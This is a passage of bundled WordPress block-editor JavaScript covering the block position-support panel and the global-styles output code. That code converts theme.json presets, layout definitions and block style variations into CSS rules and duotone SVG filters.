30492 availableOptions.push(STICKY_OPTION);
30493 }
30494 if (allowFixed || value === FIXED_OPTION.value) {
30495 availableOptions.push(FIXED_OPTION);
30496 }
30497 return availableOptions;
30498 }, [allowFixed, allowSticky, value]);
30499 const onChangeType = (next) => {
30500 const placementValue = "0px";
30501 const newStyle = {
30502 ...style,
30503 position: {
30504 ...style?.position,
30505 type: next,
30506 top: next === "sticky" || next === "fixed" ? placementValue : void 0
30507 }
30508 };
30509 setAttributes({
30510 style: utils_cleanEmptyObject(newStyle)
30511 });
30512 };
30513 const selectedOption = value ? options.find((option) => option.value === value) || DEFAULT_OPTION : DEFAULT_OPTION;
30514 return external_wp_element_namespaceObject.Platform.select({
30515 web: options.length > 1 ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default, { group: "position", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30516 external_wp_components_namespaceObject.BaseControl,
30517 {
30518 __nextHasNoMarginBottom: true,
30519 help: stickyHelpText,
30520 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30521 external_wp_components_namespaceObject.CustomSelectControl,
30522 {
30523 __next40pxDefaultSize: true,
30524 label: (0,external_wp_i18n_namespaceObject.__)("Position"),
30525 hideLabelFromVision: true,
30526 describedBy: (0,external_wp_i18n_namespaceObject.sprintf)(
30527 // translators: %s: Currently selected position.
30528 (0,external_wp_i18n_namespaceObject.__)("Currently selected position: %s"),
30529 selectedOption.name
30530 ),
30531 options,
30532 value: selectedOption,
30533 onChange: ({ selectedItem }) => {
30534 onChangeType(selectedItem.value);
30535 },
30536 size: "__unstable-large"
30537 }
30538 )
30539 }
30540 ) }) : null,
30541 native: null
30542 });
30543}
30544var position_default = {
30545 edit: function Edit(props) {
30546 const isPositionDisabled = useIsPositionDisabled(props);
30547 if (isPositionDisabled) {
30548 return null;
30549 }
30550 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PositionPanelPure, { ...props });
30551 },
30552 useBlockProps: position_useBlockProps,
30553 attributeKeys: ["style"],
30554 hasSupport(name) {
30555 return (0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, POSITION_SUPPORT_KEY);
30556 }
30557};
30558const POSITION_BLOCK_PROPS_REFERENCE = {};
30559function position_useBlockProps({ name, style }) {
30560 const hasPositionBlockSupport = (0,external_wp_blocks_namespaceObject.hasBlockSupport)(
30561 name,
30562 POSITION_SUPPORT_KEY
30563 );
30564 const isPositionDisabled = useIsPositionDisabled({ name });
30565 const allowPositionStyles = hasPositionBlockSupport && !isPositionDisabled;
30566 const id = (0,external_wp_compose_namespaceObject.useInstanceId)(POSITION_BLOCK_PROPS_REFERENCE);
30567 const positionSelector = `.wp-container-${id}.wp-container-${id}`;
30568 let css;
30569 if (allowPositionStyles) {
30570 css = getPositionCSS({
30571 selector: positionSelector,
30572 style
30573 }) || "";
30574 }
30575 const className = dist_clsx({
30576 [`wp-container-${id}`]: allowPositionStyles && !!css,
30577 // Only attach a container class if there is generated CSS to be attached.
30578 [`is-position-${style?.position?.type}`]: allowPositionStyles && !!css && !!style?.position?.type
30579 });
30580 useStyleOverride({ css });
30581 return { className };
30582}
30583
30584
30585;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/use-global-styles-output.js
30586
30587
30588
30589
30590
30591
30592
30593
30594
30595
30596
30597
30598
30599
30600
30601
30602
30603const ELEMENT_CLASS_NAMES = {
30604 button: "wp-element-button",
30605 caption: "wp-element-caption"
30606};
30607const BLOCK_SUPPORT_FEATURE_LEVEL_SELECTORS = {
30608 __experimentalBorder: "border",
30609 color: "color",
30610 spacing: "spacing",
30611 typography: "typography"
30612};
30613const { kebabCase: use_global_styles_output_kebabCase } = unlock(external_wp_components_namespaceObject.privateApis);
30614function getPresetsDeclarations(blockPresets = {}, mergedSettings) {
30615 return PRESET_METADATA.reduce(
30616 (declarations, { path, valueKey, valueFunc, cssVarInfix }) => {
30617 const presetByOrigin = getValueFromObjectPath(
30618 blockPresets,
30619 path,
30620 []
30621 );
30622 ["default", "theme", "custom"].forEach((origin) => {
30623 if (presetByOrigin[origin]) {
30624 presetByOrigin[origin].forEach((value) => {
30625 if (valueKey && !valueFunc) {
30626 declarations.push(
30627 `--wp--preset--${cssVarInfix}--${use_global_styles_output_kebabCase(
30628 value.slug
30629 )}: ${value[valueKey]}`
30630 );
30631 } else if (valueFunc && typeof valueFunc === "function") {
30632 declarations.push(
30633 `--wp--preset--${cssVarInfix}--${use_global_styles_output_kebabCase(
30634 value.slug
30635 )}: ${valueFunc(value, mergedSettings)}`
30636 );
30637 }
30638 });
30639 }
30640 });
30641 return declarations;
30642 },
30643 []
30644 );
30645}
30646function getPresetsClasses(blockSelector = "*", blockPresets = {}) {
30647 return PRESET_METADATA.reduce(
30648 (declarations, { path, cssVarInfix, classes }) => {
30649 if (!classes) {
30650 return declarations;
30651 }
30652 const presetByOrigin = getValueFromObjectPath(
30653 blockPresets,
30654 path,
30655 []
30656 );
30657 ["default", "theme", "custom"].forEach((origin) => {
30658 if (presetByOrigin[origin]) {
30659 presetByOrigin[origin].forEach(({ slug }) => {
30660 classes.forEach(({ classSuffix, propertyName }) => {
30661 const classSelectorToUse = `.has-${use_global_styles_output_kebabCase(
30662 slug
30663 )}-${classSuffix}`;
30664 const selectorToUse = blockSelector.split(",").map(
30665 (selector) => `${selector}${classSelectorToUse}`
30666 ).join(",");
30667 const value = `var(--wp--preset--${cssVarInfix}--${use_global_styles_output_kebabCase(
30668 slug
30669 )})`;
30670 declarations += `${selectorToUse}{${propertyName}: ${value} !important;}`;
30671 });
30672 });
30673 }
30674 });
30675 return declarations;
30676 },
30677 ""
30678 );
30679}
30680function getPresetsSvgFilters(blockPresets = {}) {
30681 return PRESET_METADATA.filter(
30682 // Duotone are the only type of filters for now.
30683 (metadata) => metadata.path.at(-1) === "duotone"
30684 ).flatMap((metadata) => {
30685 const presetByOrigin = getValueFromObjectPath(
30686 blockPresets,
30687 metadata.path,
30688 {}
30689 );
30690 return ["default", "theme"].filter((origin) => presetByOrigin[origin]).flatMap(
30691 (origin) => presetByOrigin[origin].map(
30692 (preset) => getDuotoneFilter(
30693 `wp-duotone-${preset.slug}`,
30694 preset.colors
30695 )
30696 )
30697 ).join("");
30698 });
30699}
30700function flattenTree(input = {}, prefix, token) {
30701 let result = [];
30702 Object.keys(input).forEach((key) => {
30703 const newKey = prefix + use_global_styles_output_kebabCase(key.replace("/", "-"));
30704 const newLeaf = input[key];
30705 if (newLeaf instanceof Object) {
30706 const newPrefix = newKey + token;
30707 result = [...result, ...flattenTree(newLeaf, newPrefix, token)];
30708 } else {
30709 result.push(`${newKey}: ${newLeaf}`);
30710 }
30711 });
30712 return result;
30713}
30714function concatFeatureVariationSelectorString(featureSelector, styleVariationSelector) {
30715 const featureSelectors = featureSelector.split(",");
30716 const combinedSelectors = [];
30717 featureSelectors.forEach((selector) => {
30718 combinedSelectors.push(
30719 `${styleVariationSelector.trim()}${selector.trim()}`
30720 );
30721 });
30722 return combinedSelectors.join(", ");
30723}
30724const getFeatureDeclarations = (selectors, styles) => {
30725 const declarations = {};
30726 Object.entries(selectors).forEach(([feature, selector]) => {
30727 if (feature === "root" || !styles?.[feature]) {
30728 return;
30729 }
30730 const isShorthand = typeof selector === "string";
30731 if (!isShorthand) {
30732 Object.entries(selector).forEach(
30733 ([subfeature, subfeatureSelector]) => {
30734 if (subfeature === "root" || !styles?.[feature][subfeature]) {
30735 return;
30736 }
30737 const subfeatureStyles = {
30738 [feature]: {
30739 [subfeature]: styles[feature][subfeature]
30740 }
30741 };
30742 const newDeclarations = getStylesDeclarations(subfeatureStyles);
30743 declarations[subfeatureSelector] = [
30744 ...declarations[subfeatureSelector] || [],
30745 ...newDeclarations
30746 ];
30747 delete styles[feature][subfeature];
30748 }
30749 );
30750 }
30751 if (isShorthand || selector.root) {
30752 const featureSelector = isShorthand ? selector : selector.root;
30753 const featureStyles = { [feature]: styles[feature] };
30754 const newDeclarations = getStylesDeclarations(featureStyles);
30755 declarations[featureSelector] = [
30756 ...declarations[featureSelector] || [],
30757 ...newDeclarations
30758 ];
30759 delete styles[feature];
30760 }
30761 });
30762 return declarations;
30763};
30764function getStylesDeclarations(blockStyles = {}, selector = "", useRootPaddingAlign, tree = {}, disableRootPadding = false) {
30765 const isRoot = ROOT_BLOCK_SELECTOR === selector;
30766 const output = Object.entries(external_wp_blocks_namespaceObject.__EXPERIMENTAL_STYLE_PROPERTY).reduce(
30767 (declarations, [key, { value, properties, useEngine, rootOnly }]) => {
30768 if (rootOnly && !isRoot) {
30769 return declarations;
30770 }
30771 const pathToValue = value;
30772 if (pathToValue[0] === "elements" || useEngine) {
30773 return declarations;
30774 }
30775 const styleValue = getValueFromObjectPath(
30776 blockStyles,
30777 pathToValue
30778 );
30779 if (key === "--wp--style--root--padding" && (typeof styleValue === "string" || !useRootPaddingAlign)) {
30780 return declarations;
30781 }
30782 if (properties && typeof styleValue !== "string") {
30783 Object.entries(properties).forEach((entry) => {
30784 const [name, prop] = entry;
30785 if (!getValueFromObjectPath(styleValue, [prop], false)) {
30786 return;
30787 }
30788 const cssProperty = name.startsWith("--") ? name : use_global_styles_output_kebabCase(name);
30789 declarations.push(
30790 `${cssProperty}: ${(0,external_wp_styleEngine_namespaceObject.getCSSValueFromRawStyle)(
30791 getValueFromObjectPath(styleValue, [prop])
30792 )}`
30793 );
30794 });
30795 } else if (getValueFromObjectPath(blockStyles, pathToValue, false)) {
30796 const cssProperty = key.startsWith("--") ? key : use_global_styles_output_kebabCase(key);
30797 declarations.push(
30798 `${cssProperty}: ${(0,external_wp_styleEngine_namespaceObject.getCSSValueFromRawStyle)(
30799 getValueFromObjectPath(blockStyles, pathToValue)
30800 )}`
30801 );
30802 }
30803 return declarations;
30804 },
30805 []
30806 );
30807 if (!!blockStyles.background) {
30808 if (blockStyles.background?.backgroundImage) {
30809 blockStyles.background.backgroundImage = getResolvedValue(
30810 blockStyles.background.backgroundImage,
30811 tree
30812 );
30813 }
30814 if (!isRoot && !!blockStyles.background?.backgroundImage?.id) {
30815 blockStyles = {
30816 ...blockStyles,
30817 background: {
30818 ...blockStyles.background,
30819 ...setBackgroundStyleDefaults(blockStyles.background)
30820 }
30821 };
30822 }
30823 }
30824 const extraRules = (0,external_wp_styleEngine_namespaceObject.getCSSRules)(blockStyles);
30825 extraRules.forEach((rule) => {
30826 if (isRoot && (useRootPaddingAlign || disableRootPadding) && rule.key.startsWith("padding")) {
30827 return;
30828 }
30829 const cssProperty = rule.key.startsWith("--") ? rule.key : use_global_styles_output_kebabCase(rule.key);
30830 let ruleValue = getResolvedValue(rule.value, tree, null);
30831 if (cssProperty === "font-size") {
30832 ruleValue = getTypographyFontSizeValue(
30833 { size: ruleValue },
30834 tree?.settings
30835 );
30836 }
30837 if (cssProperty === "aspect-ratio") {
30838 output.push("min-height: unset");
30839 }
30840 output.push(`${cssProperty}: ${ruleValue}`);
30841 });
30842 return output;
30843}
30844function getLayoutStyles({
30845 layoutDefinitions = LAYOUT_DEFINITIONS,
30846 style,
30847 selector,
30848 hasBlockGapSupport,
30849 hasFallbackGapSupport,
30850 fallbackGapValue
30851}) {
30852 let ruleset = "";
30853 let gapValue = hasBlockGapSupport ? getGapCSSValue(style?.spacing?.blockGap) : "";
30854 if (hasFallbackGapSupport) {
30855 if (selector === ROOT_BLOCK_SELECTOR) {
30856 gapValue = !gapValue ? "0.5em" : gapValue;
30857 } else if (!hasBlockGapSupport && fallbackGapValue) {
30858 gapValue = fallbackGapValue;
30859 }
30860 }
30861 if (gapValue && layoutDefinitions) {
30862 Object.values(layoutDefinitions).forEach(
30863 ({ className, name, spacingStyles }) => {
30864 if (!hasBlockGapSupport && "flex" !== name && "grid" !== name) {
30865 return;
30866 }
30867 if (spacingStyles?.length) {
30868 spacingStyles.forEach((spacingStyle) => {
30869 const declarations = [];
30870 if (spacingStyle.rules) {
30871 Object.entries(spacingStyle.rules).forEach(
30872 ([cssProperty, cssValue]) => {
30873 declarations.push(
30874 `${cssProperty}: ${cssValue ? cssValue : gapValue}`
30875 );
30876 }
30877 );
30878 }
30879 if (declarations.length) {
30880 let combinedSelector = "";
30881 if (!hasBlockGapSupport) {
30882 combinedSelector = selector === ROOT_BLOCK_SELECTOR ? `:where(.${className}${spacingStyle?.selector || ""})` : `:where(${selector}.${className}${spacingStyle?.selector || ""})`;
30883 } else {
30884 combinedSelector = selector === ROOT_BLOCK_SELECTOR ? `:root :where(.${className})${spacingStyle?.selector || ""}` : `:root :where(${selector}-${className})${spacingStyle?.selector || ""}`;
30885 }
30886 ruleset += `${combinedSelector} { ${declarations.join(
30887 "; "
30888 )}; }`;
30889 }
30890 });
30891 }
30892 }
30893 );
30894 if (selector === ROOT_BLOCK_SELECTOR && hasBlockGapSupport) {
30895 ruleset += `${ROOT_CSS_PROPERTIES_SELECTOR} { --wp--style--block-gap: ${gapValue}; }`;
30896 }
30897 }
30898 if (selector === ROOT_BLOCK_SELECTOR && layoutDefinitions) {
30899 const validDisplayModes = ["block", "flex", "grid"];
30900 Object.values(layoutDefinitions).forEach(
30901 ({ className, displayMode, baseStyles }) => {
30902 if (displayMode && validDisplayModes.includes(displayMode)) {
30903 ruleset += `${selector} .${className} { display:${displayMode}; }`;
30904 }
30905 if (baseStyles?.length) {
30906 baseStyles.forEach((baseStyle) => {
30907 const declarations = [];
30908 if (baseStyle.rules) {
30909 Object.entries(baseStyle.rules).forEach(
30910 ([cssProperty, cssValue]) => {
30911 declarations.push(
30912 `${cssProperty}: ${cssValue}`
30913 );
30914 }
30915 );
30916 }
30917 if (declarations.length) {
30918 const combinedSelector = `.${className}${baseStyle?.selector || ""}`;
30919 ruleset += `${combinedSelector} { ${declarations.join(
30920 "; "
30921 )}; }`;
30922 }
30923 });
30924 }
30925 }
30926 );
30927 }
30928 return ruleset;
30929}
30930const STYLE_KEYS = [
30931 "border",
30932 "color",
30933 "dimensions",
30934 "spacing",
30935 "typography",
30936 "filter",
30937 "outline",
30938 "shadow",
30939 "background"
30940];
30941function pickStyleKeys(treeToPickFrom) {
30942 if (!treeToPickFrom) {
30943 return {};
30944 }
30945 const entries = Object.entries(treeToPickFrom);
30946 const pickedEntries = entries.filter(
30947 ([key]) => STYLE_KEYS.includes(key)
30948 );
30949 const clonedEntries = pickedEntries.map(([key, style]) => [
30950 key,
30951 JSON.parse(JSON.stringify(style))
30952 ]);
30953 return Object.fromEntries(clonedEntries);
30954}
30955const getNodesWithStyles = (tree, blockSelectors) => {
30956 const nodes = [];
30957 if (!tree?.styles) {
30958 return nodes;
30959 }
30960 const styles = pickStyleKeys(tree.styles);
30961 if (styles) {
30962 nodes.push({
30963 styles,
30964 selector: ROOT_BLOCK_SELECTOR,
30965 // Root selector (body) styles should not be wrapped in `:root where()` to keep
30966 // specificity at (0,0,1) and maintain backwards compatibility.
30967 skipSelectorWrapper: true
30968 });
30969 }
30970 Object.entries(external_wp_blocks_namespaceObject.__EXPERIMENTAL_ELEMENTS).forEach(([name, selector]) => {
30971 if (tree.styles?.elements?.[name]) {
30972 nodes.push({
30973 styles: tree.styles?.elements?.[name],
30974 selector,
30975 // Top level elements that don't use a class name should not receive the
30976 // `:root :where()` wrapper to maintain backwards compatibility.
30977 skipSelectorWrapper: !ELEMENT_CLASS_NAMES[name]
30978 });
30979 }
30980 });
30981 Object.entries(tree.styles?.blocks ?? {}).forEach(
30982 ([blockName, node]) => {
30983 const blockStyles = pickStyleKeys(node);
30984 if (node?.variations) {
30985 const variations = {};
30986 Object.entries(node.variations).forEach(
30987 ([variationName, variation]) => {
30988 variations[variationName] = pickStyleKeys(variation);
30989 if (variation?.css) {
30990 variations[variationName].css = variation.css;
30991 }
30992 const variationSelector = blockSelectors[blockName]?.styleVariationSelectors?.[variationName];
30993 Object.entries(variation?.elements ?? {}).forEach(
30994 ([element, elementStyles]) => {
30995 if (elementStyles && external_wp_blocks_namespaceObject.__EXPERIMENTAL_ELEMENTS[element]) {
30996 nodes.push({
30997 styles: elementStyles,
30998 selector: scopeSelector(
30999 variationSelector,
31000 external_wp_blocks_namespaceObject.__EXPERIMENTAL_ELEMENTS[element]
31001 )
31002 });
31003 }
31004 }
31005 );
31006 Object.entries(variation?.blocks ?? {}).forEach(
31007 ([
31008 variationBlockName,
31009 variationBlockStyles
31010 ]) => {
31011 const variationBlockSelector = scopeSelector(
31012 variationSelector,
31013 blockSelectors[variationBlockName]?.selector
31014 );
31015 const variationDuotoneSelector = scopeSelector(
31016 variationSelector,
31017 blockSelectors[variationBlockName]?.duotoneSelector
31018 );
31019 const variationFeatureSelectors = scopeFeatureSelectors(
31020 variationSelector,
31021 blockSelectors[variationBlockName]?.featureSelectors
31022 );
31023 const variationBlockStyleNodes = pickStyleKeys(variationBlockStyles);
31024 if (variationBlockStyles?.css) {
31025 variationBlockStyleNodes.css = variationBlockStyles.css;
31026 }
31027 nodes.push({
31028 selector: variationBlockSelector,
31029 duotoneSelector: variationDuotoneSelector,
31030 featureSelectors: variationFeatureSelectors,
31031 fallbackGapValue: blockSelectors[variationBlockName]?.fallbackGapValue,
31032 hasLayoutSupport: blockSelectors[variationBlockName]?.hasLayoutSupport,
31033 styles: variationBlockStyleNodes
31034 });
31035 Object.entries(
31036 variationBlockStyles.elements ?? {}
31037 ).forEach(
31038 ([
31039 variationBlockElement,
31040 variationBlockElementStyles
31041 ]) => {
31042 if (variationBlockElementStyles && external_wp_blocks_namespaceObject.__EXPERIMENTAL_ELEMENTS[variationBlockElement]) {
31043 nodes.push({
31044 styles: variationBlockElementStyles,
31045 selector: scopeSelector(
31046 variationBlockSelector,
31047 external_wp_blocks_namespaceObject.__EXPERIMENTAL_ELEMENTS[variationBlockElement]
31048 )
31049 });
31050 }
31051 }
31052 );
31053 }
31054 );
31055 }
31056 );
31057 blockStyles.variations = variations;
31058 }
31059 if (blockSelectors?.[blockName]?.selector) {
31060 nodes.push({
31061 duotoneSelector: blockSelectors[blockName].duotoneSelector,
31062 fallbackGapValue: blockSelectors[blockName].fallbackGapValue,
31063 hasLayoutSupport: blockSelectors[blockName].hasLayoutSupport,
31064 selector: blockSelectors[blockName].selector,
31065 styles: blockStyles,
31066 featureSelectors: blockSelectors[blockName].featureSelectors,
31067 styleVariationSelectors: blockSelectors[blockName].styleVariationSelectors
31068 });
31069 }
31070 Object.entries(node?.elements ?? {}).forEach(
31071 ([elementName, value]) => {
31072 if (value && blockSelectors?.[blockName] && external_wp_blocks_namespaceObject.__EXPERIMENTAL_ELEMENTS[elementName]) {
31073 nodes.push({
31074 styles: value,
31075 selector: blockSelectors[blockName]?.selector.split(",").map((sel) => {
31076 const elementSelectors = external_wp_blocks_namespaceObject.__EXPERIMENTAL_ELEMENTS[elementName].split(",");
31077 return elementSelectors.map(
31078 (elementSelector) => sel + " " + elementSelector
31079 );
31080 }).join(",")
31081 });
31082 }
31083 }
31084 );
31085 }
31086 );
31087 return nodes;
31088};
31089const getNodesWithSettings = (tree, blockSelectors) => {
31090 const nodes = [];
31091 if (!tree?.settings) {
31092 return nodes;
31093 }
31094 const pickPresets = (treeToPickFrom) => {
31095 let presets2 = {};
31096 PRESET_METADATA.forEach(({ path }) => {
31097 const value = getValueFromObjectPath(treeToPickFrom, path, false);
31098 if (value !== false) {
31099 presets2 = setImmutably(presets2, path, value);
31100 }
31101 });
31102 return presets2;
31103 };
31104 const presets = pickPresets(tree.settings);
31105 const custom = tree.settings?.custom;
31106 if (Object.keys(presets).length > 0 || custom) {
31107 nodes.push({
31108 presets,
31109 custom,
31110 selector: ROOT_CSS_PROPERTIES_SELECTOR
31111 });
31112 }
31113 Object.entries(tree.settings?.blocks ?? {}).forEach(
31114 ([blockName, node]) => {
31115 const blockPresets = pickPresets(node);
31116 const blockCustom = node.custom;
31117 if (Object.keys(blockPresets).length > 0 || blockCustom) {
31118 nodes.push({
31119 presets: blockPresets,
31120 custom: blockCustom,
31121 selector: blockSelectors[blockName]?.selector
31122 });
31123 }
31124 }
31125 );
31126 return nodes;
31127};
31128const toCustomProperties = (tree, blockSelectors) => {
31129 const settings = getNodesWithSettings(tree, blockSelectors);
31130 let ruleset = "";
31131 settings.forEach(({ presets, custom, selector }) => {
31132 const declarations = getPresetsDeclarations(presets, tree?.settings);
31133 const customProps = flattenTree(custom, "--wp--custom--", "--");
31134 if (customProps.length > 0) {
31135 declarations.push(...customProps);
31136 }
31137 if (declarations.length > 0) {
31138 ruleset += `${selector}{${declarations.join(";")};}`;
31139 }
31140 });
31141 return ruleset;
31142};
31143const toStyles = (tree, blockSelectors, hasBlockGapSupport, hasFallbackGapSupport, disableLayoutStyles = false, disableRootPadding = false, styleOptions = void 0) => {
31144 const options = {
31145 blockGap: true,
31146 blockStyles: true,
31147 layoutStyles: true,
31148 marginReset: true,
31149 presets: true,
31150 rootPadding: true,
31151 variationStyles: false,
31152 ...styleOptions
31153 };
31154 const nodesWithStyles = getNodesWithStyles(tree, blockSelectors);
31155 const nodesWithSettings = getNodesWithSettings(tree, blockSelectors);
31156 const useRootPaddingAlign = tree?.settings?.useRootPaddingAwareAlignments;
31157 const { contentSize, wideSize } = tree?.settings?.layout || {};
31158 const hasBodyStyles = options.marginReset || options.rootPadding || options.layoutStyles;
31159 let ruleset = "";
31160 if (options.presets && (contentSize || wideSize)) {
31161 ruleset += `${ROOT_CSS_PROPERTIES_SELECTOR} {`;
31162 ruleset = contentSize ? ruleset + ` --wp--style--global--content-size: ${contentSize};` : ruleset;
31163 ruleset = wideSize ? ruleset + ` --wp--style--global--wide-size: ${wideSize};` : ruleset;
31164 ruleset += "}";
31165 }
31166 if (hasBodyStyles) {
31167 ruleset += ":where(body) {margin: 0;";
31168 if (options.rootPadding && useRootPaddingAlign) {
31169 ruleset += `padding-right: 0; padding-left: 0; padding-top: var(--wp--style--root--padding-top); padding-bottom: var(--wp--style--root--padding-bottom) }
31170 .has-global-padding { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }
31171 .has-global-padding > .alignfull { margin-right: calc(var(--wp--style--root--padding-right) * -1); margin-left: calc(var(--wp--style--root--padding-left) * -1); }
31172 .has-global-padding :where(:not(.alignfull.is-layout-flow) > .has-global-padding:not(.wp-block-block, .alignfull)) { padding-right: 0; padding-left: 0; }
31173 .has-global-padding :where(:not(.alignfull.is-layout-flow) > .has-global-padding:not(.wp-block-block, .alignfull)) > .alignfull { margin-left: 0; margin-right: 0;
31174 `;
31175 }
31176 ruleset += "}";
31177 }
31178 if (options.blockStyles) {
31179 nodesWithStyles.forEach(
31180 ({
31181 selector,
31182 duotoneSelector,
31183 styles,
31184 fallbackGapValue,
31185 hasLayoutSupport,
31186 featureSelectors,
31187 styleVariationSelectors,
31188 skipSelectorWrapper
31189 }) => {
31190 if (featureSelectors) {
31191 const featureDeclarations = getFeatureDeclarations(
31192 featureSelectors,
31193 styles
31194 );
31195 Object.entries(featureDeclarations).forEach(
31196 ([cssSelector, declarations]) => {
31197 if (declarations.length) {
31198 const rules = declarations.join(";");
31199 ruleset += `:root :where(${cssSelector}){${rules};}`;
31200 }
31201 }
31202 );
31203 }
31204 if (duotoneSelector) {
31205 const duotoneStyles = {};
31206 if (styles?.filter) {
31207 duotoneStyles.filter = styles.filter;
31208 delete styles.filter;
31209 }
31210 const duotoneDeclarations = getStylesDeclarations(duotoneStyles);
31211 if (duotoneDeclarations.length) {
31212 ruleset += `${duotoneSelector}{${duotoneDeclarations.join(
31213 ";"
31214 )};}`;
31215 }
31216 }
31217 if (!disableLayoutStyles && (ROOT_BLOCK_SELECTOR === selector || hasLayoutSupport)) {
31218 ruleset += getLayoutStyles({
31219 style: styles,
31220 selector,
31221 hasBlockGapSupport,
31222 hasFallbackGapSupport,
31223 fallbackGapValue
31224 });
31225 }
31226 const styleDeclarations = getStylesDeclarations(
31227 styles,
31228 selector,
31229 useRootPaddingAlign,
31230 tree,
31231 disableRootPadding
31232 );
31233 if (styleDeclarations?.length) {
31234 const generalSelector = skipSelectorWrapper ? selector : `:root :where(${selector})`;
31235 ruleset += `${generalSelector}{${styleDeclarations.join(
31236 ";"
31237 )};}`;
31238 }
31239 if (styles?.css) {
31240 ruleset += processCSSNesting(
31241 styles.css,
31242 `:root :where(${selector})`
31243 );
31244 }
31245 if (options.variationStyles && styleVariationSelectors) {
31246 Object.entries(styleVariationSelectors).forEach(
31247 ([styleVariationName, styleVariationSelector]) => {
31248 const styleVariations = styles?.variations?.[styleVariationName];
31249 if (styleVariations) {
31250 if (featureSelectors) {
31251 const featureDeclarations = getFeatureDeclarations(
31252 featureSelectors,
31253 styleVariations
31254 );
31255 Object.entries(
31256 featureDeclarations
31257 ).forEach(
31258 ([baseSelector, declarations]) => {
31259 if (declarations.length) {
31260 const cssSelector = concatFeatureVariationSelectorString(
31261 baseSelector,
31262 styleVariationSelector
31263 );
31264 const rules = declarations.join(";");
31265 ruleset += `:root :where(${cssSelector}){${rules};}`;
31266 }
31267 }
31268 );
31269 }
31270 const styleVariationDeclarations = getStylesDeclarations(
31271 styleVariations,
31272 styleVariationSelector,
31273 useRootPaddingAlign,
31274 tree
31275 );
31276 if (styleVariationDeclarations.length) {
31277 ruleset += `:root :where(${styleVariationSelector}){${styleVariationDeclarations.join(
31278 ";"
31279 )};}`;
31280 }
31281 if (styleVariations?.css) {
31282 ruleset += processCSSNesting(
31283 styleVariations.css,
31284 `:root :where(${styleVariationSelector})`
31285 );
31286 }
31287 }
31288 }
31289 );
31290 }
31291 const pseudoSelectorStyles = Object.entries(styles).filter(
31292 ([key]) => key.startsWith(":")
31293 );
31294 if (pseudoSelectorStyles?.length) {
31295 pseudoSelectorStyles.forEach(
31296 ([pseudoKey, pseudoStyle]) => {
31297 const pseudoDeclarations = getStylesDeclarations(pseudoStyle);
31298 if (!pseudoDeclarations?.length) {
31299 return;
31300 }
31301 const _selector = selector.split(",").map((sel) => sel + pseudoKey).join(",");
31302 const pseudoRule = `:root :where(${_selector}){${pseudoDeclarations.join(
31303 ";"
31304 )};}`;
31305 ruleset += pseudoRule;
31306 }
31307 );
31308 }
31309 }
31310 );
31311 }
31312 if (options.layoutStyles) {
31313 ruleset = ruleset + ".wp-site-blocks > .alignleft { float: left; margin-right: 2em; }";
31314 ruleset = ruleset + ".wp-site-blocks > .alignright { float: right; margin-left: 2em; }";
31315 ruleset = ruleset + ".wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }";
31316 }
31317 if (options.blockGap && hasBlockGapSupport) {
31318 const gapValue = getGapCSSValue(tree?.styles?.spacing?.blockGap) || "0.5em";
31319 ruleset = ruleset + `:root :where(.wp-site-blocks) > * { margin-block-start: ${gapValue}; margin-block-end: 0; }`;
31320 ruleset = ruleset + ":root :where(.wp-site-blocks) > :first-child { margin-block-start: 0; }";
31321 ruleset = ruleset + ":root :where(.wp-site-blocks) > :last-child { margin-block-end: 0; }";
31322 }
31323 if (options.presets) {
31324 nodesWithSettings.forEach(({ selector, presets }) => {
31325 if (ROOT_BLOCK_SELECTOR === selector || ROOT_CSS_PROPERTIES_SELECTOR === selector) {
31326 selector = "";
31327 }
31328 const classes = getPresetsClasses(selector, presets);
31329 if (classes.length > 0) {
31330 ruleset += classes;
31331 }
31332 });
31333 }
31334 return ruleset;
31335};
31336function toSvgFilters(tree, blockSelectors) {
31337 const nodesWithSettings = getNodesWithSettings(tree, blockSelectors);
31338 return nodesWithSettings.flatMap(({ presets }) => {
31339 return getPresetsSvgFilters(presets);
31340 });
31341}
31342const getSelectorsConfig = (blockType, rootSelector) => {
31343 if (blockType?.selectors && Object.keys(blockType.selectors).length > 0) {
31344 return blockType.selectors;
31345 }
31346 const config = { root: rootSelector };
31347 Object.entries(BLOCK_SUPPORT_FEATURE_LEVEL_SELECTORS).forEach(
31348 ([featureKey, featureName]) => {
31349 const featureSelector = getBlockCSSSelector(
31350 blockType,
31351 featureKey
31352 );
31353 if (featureSelector) {
31354 config[featureName] = featureSelector;
31355 }
31356 }
31357 );
31358 return config;
31359};
31360const getBlockSelectors = (blockTypes, getBlockStyles, variationInstanceId) => {
31361 const result = {};
31362 blockTypes.forEach((blockType) => {
31363 const name = blockType.name;
31364 const selector = getBlockCSSSelector(blockType);
31365 let duotoneSelector = getBlockCSSSelector(
31366 blockType,
31367 "filter.duotone"
31368 );
31369 if (!duotoneSelector) {
31370 const rootSelector = getBlockCSSSelector(blockType);
31371 const duotoneSupport = (0,external_wp_blocks_namespaceObject.getBlockSupport)(
31372 blockType,
31373 "color.__experimentalDuotone",
31374 false
31375 );
31376 duotoneSelector = duotoneSupport && scopeSelector(rootSelector, duotoneSupport);
31377 }
31378 const hasLayoutSupport = !!blockType?.supports?.layout || !!blockType?.supports?.__experimentalLayout;
31379 const fallbackGapValue = blockType?.supports?.spacing?.blockGap?.__experimentalDefault;
31380 const blockStyleVariations = getBlockStyles(name);
31381 const styleVariationSelectors = {};
31382 blockStyleVariations?.forEach((variation) => {
31383 const variationSuffix = variationInstanceId ? `-${variationInstanceId}` : "";
31384 const variationName = `${variation.name}${variationSuffix}`;
31385 const styleVariationSelector = getBlockStyleVariationSelector(
31386 variationName,
31387 selector
31388 );
31389 styleVariationSelectors[variationName] = styleVariationSelector;
31390 });
31391 const featureSelectors = getSelectorsConfig(blockType, selector);
31392 result[name] = {
31393 duotoneSelector,
31394 fallbackGapValue,
31395 featureSelectors: Object.keys(featureSelectors).length ? featureSelectors : void 0,
31396 hasLayoutSupport,
31397 name,
31398 selector,
31399 styleVariationSelectors: blockStyleVariations?.length ? styleVariationSelectors : void 0
31400 };
31401 });
31402 return result;
31403};
31404function updateConfigWithSeparator(config) {
